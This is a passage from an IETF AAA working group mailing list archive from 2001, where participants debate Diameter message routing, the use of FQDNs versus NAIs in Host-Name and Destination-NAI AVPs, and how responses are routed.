would > > contain two AVPs: one indicating the realm and the other the > > FQDN. The > > realm would be used for routing at all but the last hop, and > > the FQDN would > > be used for the last hop routing decision. > > > > I don't believe that some of the messages that currently > > contain Host-Name > > or Destination-NAI AVPs currently contain any other AVP > > encoding the realm > > to which the message should be routed. For example the STI > > message contains > > no other AVP except the Host-Name AVP that could be used for routing. > > > > I think routing on the FQDNs themselves (except at the last > > hop) is a bad > > idea for the following reasons: > > > > 1) Creating a route table for FQDNs I think would be very > > difficult. What > > part of the FQDN do I route on? With an NAI, I route on the > > part after the > > @ sign except at the last hop. > > > > 2) Creating a route table for FQDNs is unapealing because > > proxies would then > > need two route tables: one for realms and one for FQDNs. > > > > 3) Many different realms may be served by the same Diameter > > server. I am > > not absolutely sure that the routing to the server should > > always be the same > > for all of the realms served by the server. I can imagine > > that different > > proxies and brokers might be involved in the chain even > > though the endpoint > > is the same. Even if this does not need to be the case, it > > may be anyway > > because it will be difficult to enforce consistency between the realm > > routing table and the FQDN routing table. If the proxies and > > brokers keep > > state information, inconsistent routing for messages relating > > to the same > > session would be problematic. For example, the Access-Response and > > Session-Termination-Indication messages for a given session > > should follow > > the same route. Therefore they should use the same routing table. > > > > Another possibility is that you could use something like the > > Record-Route > > system for routing on FQDNs. Then there is no need for an > > FQDN routing > > table, and all messages of a session take the same route. > > But sessions may > > be long-lived, so this idea creates backup-recovery problems. > > > > In conclusion, if I've recreated your line of thinking > > properly, then I > > really don't like the above proposal and would prefer to keep > > using NAIs. > > But, of course, I may have misunderstood entirely. > > > > -- > > David Spence email: > > DSpence@Interlinknetworks.com > > Interlink Networks, Inc. phone: (734) 821-1203 > > 775 Technology Drive, Suite 200 fax: (734) 821-1235 > > Ann Arbor, MI 48108 > > U.S.A. > > From owner-aaa-bof@merit.edu Mon Feb 12 10:39:09 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11105 for ; Mon, 12 Feb 2001 10:39:08 -0500 (EST) Received: by segue.merit.edu (Postfix) id 18DBD5DDE4; Mon, 12 Feb 2001 10:38:45 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 069335DDCB; Mon, 12 Feb 2001 10:38:45 -0500 (EST) Received: from rsys000a.roke.co.uk (unknown [193.118.201.102]) by segue.merit.edu (Postfix) with ESMTP id 926625DD9D for ; Mon, 12 Feb 2001 10:38:38 -0500 (EST) Received: from rsys002a.roke.co.uk - 193.118.192.251 by rsys000a.roke.co.uk with Microsoft SMTPSVC(5.5.1774.114.11); Mon, 12 Feb 2001 15:40:20 +0000 Received: by rsys002a.roke.co.uk with Internet Mail Service (5.5.2650.21) id <1PG7P6GJ>; Mon, 12 Feb 2001 15:38:26 -0000 Message-ID: <76C92FBBFB58D411AE760090271ED418013D2965@rsys002a.roke.co.uk> From: "Revel, Agnes" To: aaa-wg@merit.edu, diameter@diameter.org Subject: [AAA-WG]: QoS on Diameter Date: Mon, 12 Feb 2001 15:38:23 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-aaa-bof@merit.edu Precedence: bulk Hello I am very new to this list and I was wondering if someone can give me an information concerning QoS on Diameter. The document I have find for the moment is out of date: http://www.globecom.net/ietf/draft/draft-calhoun-diameter-qos-00.html Is there any other new document ? Regards Agnes Revel Internet Technology & Networks Roke Manor Research Limited (A SIEMENS Company) Tel :- + 44 1794 833748 Old Salisbury Lane Fax :- + 44 1794 833434 Romsey, Hampshire e-mail :- agnes.revel@roke.co.uk United Kingdom SO51 0ZN Web :- http://www.roke.co.uk The information contained in this e-mail is confidential to Roke Manor and must not be passed to any third party without permission. This communication is for information only and shall not create or change any contractual relationship. From owner-aaa-bof@merit.edu Mon Feb 12 10:49:47 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11851 for ; Mon, 12 Feb 2001 10:49:47 -0500 (EST) Received: by segue.merit.edu (Postfix) id 1417C5DE64; Mon, 12 Feb 2001 10:47:16 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 00D935DE5F; Mon, 12 Feb 2001 10:47:15 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id C176F5DE3C for ; Mon, 12 Feb 2001 10:47:14 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA24174; Mon, 12 Feb 2001 07:47:08 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA13216; Mon, 12 Feb 2001 07:47:04 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id HAA29076; Mon, 12 Feb 2001 07:47:02 -0800 (PST) Date: Mon, 12 Feb 2001 07:47:02 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [AAA-WG]: Host-Name and Destination-NAI AVPs To: David Spence Cc: Patrice Calhoun , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <3A85AE96.9B0FAFB@Interlinknetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > Whoa, slow down a minute. This sounds to me like a major change, and since > you didn't explain how it would work, I don't see how I can either agree or > disagree with it. Sorry that I didn't provide the justification for this change.... let's see if I can do this here.. > My first set of assumptions concerns how the protocol is intended to work as > specified in Alpha2. Not all of this is actually stated in Alpha2, but > probably should be. Right, and I am working on the text that will make all of this much clearer. > I assume that if the Destination-NAI AVP contains an NAI then it has the > format server@realm where "server" identifies the last hop server and > "realm" identifies the last hop realm. Such an AVP, if it appeared in a > message of type Request or Query could be used to route the message to its > final destination. Correct, this is the way it is currently defined. > Similarly, I assume that if the Host-Name AVP contains an NAI then it has > the format client@realm where "client" identifies the Diameter client (e.g., > NAS) within the service provider's realm and "realm" identifies the last hop > realm to which a message of type Indication containing the AVP should be > routed. Correct, this is the way it is currently defined. > > I assume that messages of type Response or Answer are routed using > information in either the Route-Record AVPs or the Proxy-State AVP, but that > messages from server to client of type Indication will 1) not contain > Route-Record AVPs, 2) may be routed by the information contained in the > Proxy-State AVP (if present), but 3) must contain a Host-Name AVP that can > be used for routing. Indication messages are just like request and queries. They will be routed based on the User-Name, or the Routing-Realm AVP. The Host-Name is present, but only for information, and no routing is performed based on this AVP. > Now let me state my assumptions concerning your proposal above. > > The Destination-NAI and Host-Name AVPs will contain the fully qualified > domain name (host name) of the source or destination (depending on the > message type) client or server in the proxy chain. It may contain dots but > no @ signs. I assume you will probably rename the Destination-NAI AVP to > something like Destination AVP, so I will use the term Destination AVP in > what follows to avoid confusion. of course. > > In the case of the Destination AVP, the FQDN will be the host name of the > host on which the Diameter server is running. Now of course this host name > may be totally different than and might not contain any part of the > destination realm name. In fact, it might not contain the name of any realm > used by any network. So if a Diameter proxy has a realm routing table which > it uses to route Request messages containing a User-Name AVP, for example, > such a routing table can not be used to route on Destination AVP. In fact, > I assume that the Destination and Host AVPs will be relatively useless for > routing purposes except perhaps for the last hop routing decision. I see the confusion. The new text would state that routing of request, queries or indication messages is done through: - Routing-Realm AVP - User-Name AVP When the domain portion of the AVP is determined to be local, then the server looks for the Destination AVP to see if the message needs to be routed to a particular server within the domain. Think of this as the difference between forwarding a packet based on its ARP address, as opposed to routing a packet. Now, the justification: - All Responses and Answers are forwarded using the Record-Route AVP. The Record-Route AVP contains an FQDN. This format allows a Server to be dynamically discovered using DNS (or some other mechanism), but does require that the clients file now contain a host's FQDN instead (or an IP Address which is resolved at runtime). - Since the clients file (or the structure created) includes the FQDN, it seems to make sense to change the Destination to now include the FQDN, and a quick lookup in the clients entries would determine whether the server can be contacted directly or not. An NAI would require more work on the part of the software where it would have to dissect the NAI, construct an FQDN, then perform the clients file lookup. > One possibility is that you could create an AVP of type Grouped that would > contain two AVPs: one indicating the realm and the other the FQDN. The > realm would be used for routing at all but the last hop, and the FQDN would > be used for the last hop routing decision. Sure, but the Routing-Realm or User-Name is *already* present. Why another AVP? > I don't believe that some of the messages that currently contain Host-Name > or Destination-NAI AVPs currently contain any other AVP encoding the realm > to which the message should be routed. For example the STI message contains > no other AVP except the Host-Name AVP that could be used for routing. ::= < Diameter Header: 274 > < Session-Id > { Host-Name } { User-Name } { Destination-NAI } * [ AVP ] * [ Proxy-State ] * [ Route-Record ] * [ Routing-Realm ] 0*1< Integrity-Check-Value > > > I think routing on the FQDNs themselves (except at the last hop) is a bad > idea for the following reasons: > > 1) Creating a route table for FQDNs I think would be very difficult. What > part of the FQDN do I route on? With an NAI, I route on the part after the > @ sign except at the last hop. Again, messages are not routed based on the FQDN. Messages are only forwarded to the host, if the host in the FQDN AVP is recognized as being one that the local server can communicate with directly. > > 2) Creating a route table for FQDNs is unapealing because proxies would then > need two route tables: one for realms and one for FQDNs. Right, and I agree this would be bad. > > 3) Many different realms may be served by the same Diameter server. I am > not absolutely sure that the routing to the server should always be the same > for all of the realms served by the server. I can imagine that different > proxies and brokers might be involved in the chain even though the endpoint > is the same. Even if this does not need to be the case, it may be anyway > because it will be difficult to enforce consistency between the realm > routing table and the FQDN routing table. If the proxies and brokers keep > state information, inconsistent routing for messages relating to the same > session would be problematic. For example, the Access-Response and > Session-Termination-Indication messages for a given session should follow > the same route. Therefore they should use the same routing table. correct. > > Another possibility is that you could use something like the Record-Route > system for routing on FQDNs. Then there is no need for an FQDN routing > table, and all messages of a session take the same route. But sessions may > be long-lived, so this idea creates backup-recovery problems. Again, the Destination AVP does introduce a backup-recovery problem, and MUST only be used when the destination is fixed. Messages like the STI fall under this category. > > In conclusion, if I've recreated your line of thinking properly, then I > really don't like the above proposal and would prefer to keep using NAIs. > But, of course, I may have misunderstood entirely. Now that I've cleared it up, please let me know what you think. Thanks for the feedback, and agfain I appologize for not justifying my proposal. PatC From owner-aaa-bof@merit.edu Mon Feb 12 10:59:50 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12394 for ; Mon, 12 Feb 2001 10:59:48 -0500 (EST) Received: by segue.merit.edu (Postfix) id 9EF775DD99; Mon, 12 Feb 2001 10:59:30 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 71EF35DDCB; Mon, 12 Feb 2001 10:59:30 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 256595DD99 for ; Mon, 12 Feb 2001 10:59:29 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA29461; Mon, 12 Feb 2001 07:59:24 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA15480; Mon, 12 Feb 2001 07:59:17 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id HAA29259; Mon, 12 Feb 2001 07:59:16 -0800 (PST) Date: Mon, 12 Feb 2001 07:59:15 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [AAA-WG]: QoS on Diameter To: "Revel, Agnes" Cc: aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <76C92FBBFB58D411AE760090271ED418013D2965@rsys002a.roke.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > I am very new to this list and I was wondering if someone can give me an > information concerning QoS on Diameter. The document I have find for the > moment is out of date: > http://www.globecom.net/ietf/draft/draft-calhoun-diameter-qos-00.html ...and should have expired a LONG time ago. > Is there any other new document ? No, the AAA WG is currently focusing on network access. There is no new QoS/AAA work that I am aware of. PatC From owner-aaa-bof@merit.edu Mon Feb 12 11:11:20 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA12920 for ; Mon, 12 Feb 2001 11:11:20 -0500 (EST) Received: by segue.merit.edu (Postfix) id B8F5E5DE15; Mon, 12 Feb 2001 11:11:00 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id A6E285DE08; Mon, 12 Feb 2001 11:11:00 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 669995DDEF for ; Mon, 12 Feb 2001 11:10:59 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 7468B75; Mon, 12 Feb 2001 11:11:10 -0500 (EST) Message-ID: <3A880B13.E2BB282D@Interlinknetworks.com> Date: Mon, 12 Feb 2001 11:10:59 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: David Frascone Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: [AAA-WG]: Re: Host-Name and Destination-NAI AVPs References: <20010212081345.C28602@newman.frascone.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit David, I'm not sure if you fully see what my issue is. My issue is how do proxies "route" Diameter messages? If you route on User-Name, then you have a realm routing table that routes on names selected from the realm name-space. If you had to route on a Destination AVP and that AVP contains an FQDN, then you would be routing on a name selected from the DNS which is a different name space. My point is that routing (except perhaps at the last hop) should always be on the basis of names selected from the same name space. Unfortunately, I don't know what Pat had in mind for routing because he didn't say. It occurs to me that in the client-to-server direction he may have assumed that the User-Name would always be present and that the Destination AVP would only be used at the last hop. That would solve my problem stated in the previous paragraph but raise others (which I won't go into in this message). However, I don't think that the routing for the server-to-client direction has been very well thought out. Responses and Answers use a different form of routing than Indications. Furthermore, Responses and Answers have an analogue in RADIUS and so are better understood. Indication messages have no analogue in RADIUS. These are messages sent in the server-to-client direction long after a session has been established. They are server-initiated -- not in response to any message from the client. In the possibly very long interval since the session was established, session state may or may not have been lost by intervening servers. If session state survives, it needs to be kept up-to-date by routing through the same servers involved in session establishment. If state has been lost or the original servers are no longer up, then the Indication messages need to be routed some way. In the absence of state to assist in the routing, Indication messages need to contain an AVP that proxies can "route" on. Once again, I think this AVP should contain an identifier selected from the same name space as the names that proxies generally route on, which would be the realm name space. These are complicated issues. I hope this helps. Dave S. David Frascone wrote: > > But, there is already a difference in the real world, and it's not that > confusing. If you try to connect to http://user@domain, it won't work. If > you try to send e-mail to www.somedomain.org, it won't work. > > I think all he wants to do is clean it up, and use Fully Qualified Domain > Names where a host-name would be appropriate, and use NAI's where user-names > would be more appropriate. > > It seemed like a simple change that would clear up ambiguity, not add it. > > --Dave > > On Mon, Feb 12, 2001 at 04:28:45AM +0200, Dongfeng.Jing@nokia.com wrote: > > I only think User_Name and Host_Name and Desatination _NAI should be > > have same format, otherwise it will be confused and complex. I also think > > that three should have different definitely impact on message in different > > circumstance, > > So if you want change one, it wont have great impact on others . > > > > Dongfeng Jing > > R&D Engineer, Advanced Internet Technologies, Nokia China R&D Center > > NOKIA (CHINA) INVESTMENT CO.,LTD. > > Nokia House 1, No.11, He Ping Li Dong Jie, Beijing, 100013 PRC > > Phone: +86 10 8422 9922 ext. 2875, MP: +86 13910822740, > > fax: +86 10 8422 2439 > > e-mail: dongfeng.jing@nokia.com > > > > > -----Original Message----- > > > From: ext David Spence [mailto:DSpence@Interlinknetworks.com] > > > Sent: 11. February 2001 5:12 > > > To: Patrice Calhoun > > > Cc: aaa-wg@merit.edu; diameter@diameter.org > > > Subject: [diameter] Re: [AAA-WG]: Host-Name and Destination-NAI AVPs > > > > > > > > > Patrice Calhoun wrote: > > > > > > > > All, > > > > > > > > I would like to see if anyone agrees with me that the Host-Name and > > > > Destination-NAI AVPs should contain FQDN, instead of NAIs. > > > Originally, I > > > > believe that they contained NAIs for the purposes of > > > routing, but the > > > > User-Name is an NAI, and in its absence the Routing-Realm > > > can be used. So, I > > > > really do not see a reason for making the Destination-NAI > > > and Host-Name AVP be > > > > an NAI. FQDNs can be used to resolve the name to an IP > > > address, which is much > > > > more useful. > > > > > > > > Comments? > > > > > > > > PatC > > > > > > Whoa, slow down a minute. This sounds to me like a major > > > change, and since > > > you didn't explain how it would work, I don't see how I can > > > either agree or > > > disagree with it. > > > > > > O.k. Let me excercise my brain a bit and see if I can > > > imagine what you > > > might have in mind and what the implications might be. > > > > > > My first set of assumptions concerns how the protocol is > > > intended to work as > > > specified in Alpha2. Not all of this is actually stated in > > > Alpha2, but > > > probably should be. > > > > > > I assume that if the Destination-NAI AVP contains an NAI then > > > it has the > > > format server@realm where "server" identifies the last hop server and > > > "realm" identifies the last hop realm. Such an AVP, if it > > > appeared in a > > > message of type Request or Query could be used to route the > > > message to its > > > final destination. > > > > > > Note: The terms route or routing as used in this memo refer > > > to the process > > > of message forwarding through a chain of proxies at the application > > > (Diameter) layer -- not to the activity of routing packets at > > > the network > > > (IP) layer. > > > > > > Similarly, I assume that if the Host-Name AVP contains an NAI > > > then it has > > > the format client@realm where "client" identifies the > > > Diameter client (e.g., > > > NAS) within the service provider's realm and "realm" > > > identifies the last hop > > > realm to which a message of type Indication containing the > > > AVP should be > > > routed. > > > > > > I assume that messages of type Response or Answer are routed using > > > information in either the Route-Record AVPs or the > > > Proxy-State AVP, but that > > > messages from server to client of type Indication will 1) not contain > > > Route-Record AVPs, 2) may be routed by the information > > > contained in the > > > Proxy-State AVP (if present), but 3) must contain a Host-Name > > > AVP that can > > > be used for routing. > > > > > > Now let me state my assumptions concerning your proposal above. > > > > > > The Destination-NAI and Host-Name AVPs will contain the fully > > > qualified > > > domain name (host name) of the source or destination (depending on the > > > message type) client or server in the proxy chain. It may > > > contain dots but > > > no @ signs. I assume you will probably rename the > > > Destination-NAI AVP to > > > something like Destination AVP, so I will use the term > > > Destination AVP in > > > what follows to avoid confusion. > > > > > > In the case of the Destination AVP, the FQDN will be the host > > > name of the > > > host on which the Diameter server is running. Now of course > > > this host name > > > may be totally different than and might not contain any part of the > > > destination realm name. In fact, it might not contain the > > > name of any realm > > > used by any network. So if a Diameter proxy has a realm > > > routing table which > > > it uses to route Request messages containing a User-Name AVP, > > > for example, > > > such a routing table can not be used to route on Destination > > > AVP. In fact, > > > I assume that the Destination and Host AVPs will be > > > relatively useless for > > > routing purposes except perhaps for the last hop routing decision. > > > > > > So my question is, how is routing supposed to work if you > > > implement your > > > above proposal? > > > > > > One possibility is that you could create an AVP of type > > > Grouped that would > > > contain two AVPs: one indicating the realm and the other the > > > FQDN. The > > > realm would be used for routing at all but the last hop, and > > > the FQDN would > > > be used for the last hop routing decision. > > > > > > I don't believe that some of the messages that currently > > > contain Host-Name > > > or Destination-NAI AVPs currently contain any other AVP > > > encoding the realm > > > to which the message should be routed. For example the STI > > > message contains > > > no other AVP except the Host-Name AVP that could be used for routing. > > > > > > I think routing on the FQDNs themselves (except at the last > > > hop) is a bad > > > idea for the following reasons: > > > > > > 1) Creating a route table for FQDNs I think would be very > > > difficult. What > > > part of the FQDN do I route on? With an NAI, I route on the > > > part after the > > > @ sign except at the last hop. > > > > > > 2) Creating a route table for FQDNs is unapealing because > > > proxies would then > > > need two route tables: one for realms and one for FQDNs. > > > > > > 3) Many different realms may be served by the same Diameter > > > server. I am > > > not absolutely sure that the routing to the server should > > > always be the same > > > for all of the realms served by the server. I can imagine > > > that different > > > proxies and brokers might be involved in the chain even > > > though the endpoint > > > is the same. Even if this does not need to be the case, it > > > may be anyway > > > because it will be difficult to enforce consistency between the realm > > > routing table and the FQDN routing table. If the proxies and > > > brokers keep > > > state information, inconsistent routing for messages relating > > > to the same > > > session would be problematic. For example, the Access-Response and > > > Session-Termination-Indication messages for a given session > > > should follow > > > the same route. Therefore they should use the same routing table. > > > > > > Another possibility is that you could use something like the > > > Record-Route > > > system for routing on FQDNs. Then there is no need for an > > > FQDN routing > > > table, and all messages of a session take the same route. > > > But sessions may > > > be long-lived, so this idea creates backup-recovery problems. > > > > > > In conclusion, if I've recreated your line of thinking > > > properly, then I > > > really don't like the above proposal and would prefer to keep > > > using NAIs. > > > But, of course, I may have misunderstood entirely. > > > > > > -- > > > David Spence email: > > > DSpence@Interlinknetworks.com > > > Interlink Networks, Inc. phone: (734) 821-1203 > > > 775 Technology Drive, Suite 200 fax: (734) 821-1235 > > > Ann Arbor, MI 48108 > > > U.S.A. > > > -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 11:20:18 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13261 for ; Mon, 12 Feb 2001 11:20:18 -0500 (EST) Received: by segue.merit.edu (Postfix) id 82AFE5DEC0; Mon, 12 Feb 2001 11:18:24 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 721545DEBD; Mon, 12 Feb 2001 11:18:24 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 0BDAD5DE1E for ; Mon, 12 Feb 2001 11:18:23 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA29203; Mon, 12 Feb 2001 08:18:20 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA19569; Mon, 12 Feb 2001 08:18:20 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id IAA29525; Mon, 12 Feb 2001 08:18:15 -0800 (PST) Date: Mon, 12 Feb 2001 08:18:15 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Re: [diameter] Re: Host-Name and Destination-NAI AVPs To: David Spence Cc: David Frascone , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <3A880B13.E2BB282D@Interlinknetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > David, > > I'm not sure if you fully see what my issue is. My issue is how do proxies > "route" Diameter messages? If you route on User-Name, then you have a realm > routing table that routes on names selected from the realm name-space. If > you had to route on a Destination AVP and that AVP contains an FQDN, then > you would be routing on a name selected from the DNS which is a different > name space. My point is that routing (except perhaps at the last hop) > should always be on the basis of names selected from the same name space. This is *exactly* what I have in mind. NAIs are used thoughout the proxy chain, until the last hop where FQDN is used. Again, an FQDN is not used against the routing table, but agains the clients file. PatC From owner-aaa-bof@merit.edu Mon Feb 12 11:24:23 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13409 for ; Mon, 12 Feb 2001 11:24:23 -0500 (EST) Received: by segue.merit.edu (Postfix) id CAADD5DDBD; Mon, 12 Feb 2001 11:24:05 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id B339E5DDC7; Mon, 12 Feb 2001 11:24:05 -0500 (EST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by segue.merit.edu (Postfix) with ESMTP id 720CF5DDBD for ; Mon, 12 Feb 2001 11:24:03 -0500 (EST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id f1CGO2C22224 for ; Mon, 12 Feb 2001 17:24:02 +0100 (MET) Received: FROM esealnt743.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Feb 12 17:25:12 2001 +0100 Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id <1DWQJ7XP>; Mon, 12 Feb 2001 17:24:01 +0100 Message-ID: <577066326047D41180AC00508B955DDA01D7FEA8@eestqnt104.es.eu.ericsson.se> From: "Martin Julien (ECE)" To: "'aaa-wg@merit.edu'" Subject: [AAA-WG]: Routing of Responses? Date: Mon, 12 Feb 2001 17:23:50 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-aaa-bof@merit.edu Precedence: bulk Hi, Tell me if I'm wrong, but I thought that routing replies and answers from a Diameter node was based on: 1) If there are Route-Record AVPs in the request (Query) message, the last Route-Record AVP is used as the first HOP destination of the reply. So the Route-Record AVPs are used until the last proxy before the originator of the request. However, from there, what AVP is used for routing to the originator node? Should the originator of request messages also include the Route-Record AVP? 2) If there is no Route-Record AVPs in the request, then the reply is sent back to the originator of the request using the Host-Name AVP of the request as the destination. I don't know why, but the STA (in the -18 draft of the Base protocol) defines the Routing-Realm AVP in their optional AVP message structure. This is very confusing to me, since it suggests that replies might not have to go through the same proxies. I thought that Proxy-State AVPs were not used for routing, or are they? Are we suggesting that each proxy defines a Proxy-State AVP or keeps an internal state so that it knows how to route back messages to the originator? BR, Martin > -----Original Message----- > From: David Spence [mailto:DSpence@Interlinknetworks.com] > Sent: Saturday, February 10, 2001 10:12 PM > To: Patrice Calhoun > Cc: aaa-wg@merit.edu; diameter@diameter.org > Subject: Re: [AAA-WG]: Host-Name and Destination-NAI AVPs > > > I assume that messages of type Response or Answer are routed using > information in either the Route-Record AVPs or the > Proxy-State AVP, but that > messages from server to client of type Indication will 1) not contain > Route-Record AVPs, 2) may be routed by the information > contained in the > Proxy-State AVP (if present), but 3) must contain a Host-Name > AVP that can > be used for routing. From owner-aaa-bof@merit.edu Mon Feb 12 11:26:18 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13481 for ; Mon, 12 Feb 2001 11:26:18 -0500 (EST) Received: by segue.merit.edu (Postfix) id 6246D5DDC7; Mon, 12 Feb 2001 11:26:02 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 0DBCF5DDE6; Mon, 12 Feb 2001 11:26:02 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 9746C5DDC7 for ; Mon, 12 Feb 2001 11:26:00 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA09927; Mon, 12 Feb 2001 07:56:26 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA15056; Mon, 12 Feb 2001 07:56:25 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id HAA29233; Mon, 12 Feb 2001 07:56:23 -0800 (PST) Date: Mon, 12 Feb 2001 07:56:17 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Re: Response routing? To: Martin Julien Cc: David Spence , aaa-wg@merit.edu, Patrice Calhoun In-Reply-To: "Your message with ID" <3A87FE34.8040600@ericsson.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > Hi, > > Tell me if I'm wrong, but I thought that routing responses from a > Diameter node was based on (as in -18 Base draft): > > 1) If there are Route-Record AVPs in the request (Query) message, the > last Route-Record AVP is used as the first HOP destination of the reply. > So the Route-Record AVPs are used until the last proxy before the > originator of the request. However, from there, what AVP is used for > routing to the originator node? What I do, is that the first hop inserts a Proxy-State AVP. In the Proxy-State-Info AVP, I include the FQDN of the originator of the request. Then I add my Record-Route AVP. > > 2) If there is no Route-Record AVPs in the request, then the reply is > sent back to the originator of the request using the Host-Name AVP of > the request as the destination. However, this routing is done at the IP > level only, right? Not using the Host-Name AVP. I insert the value of the Host-Name AVP in my Proxy-State-Info AVP. I am not sure what you mean by IP level only, though. This is all application level routing. > The STA (in the -18 draft of the Base protocol) defines the > Routing-Realm AVP in its list of optional AVP in its message structure. > This is very confusing to me, since it suggests that replies might not > have to go through the same proxies. I guess responses should never use > the Routing-Realm AVP. That is correct, and I need to fix that up. Thanks for pointing this error out to me. > > I thought that Proxy-State AVPs were not used for routing, or are they? > Are we suggesting that each proxy defines a Proxy-State AVP or keeps an > internal state so that it knows how to route back messages 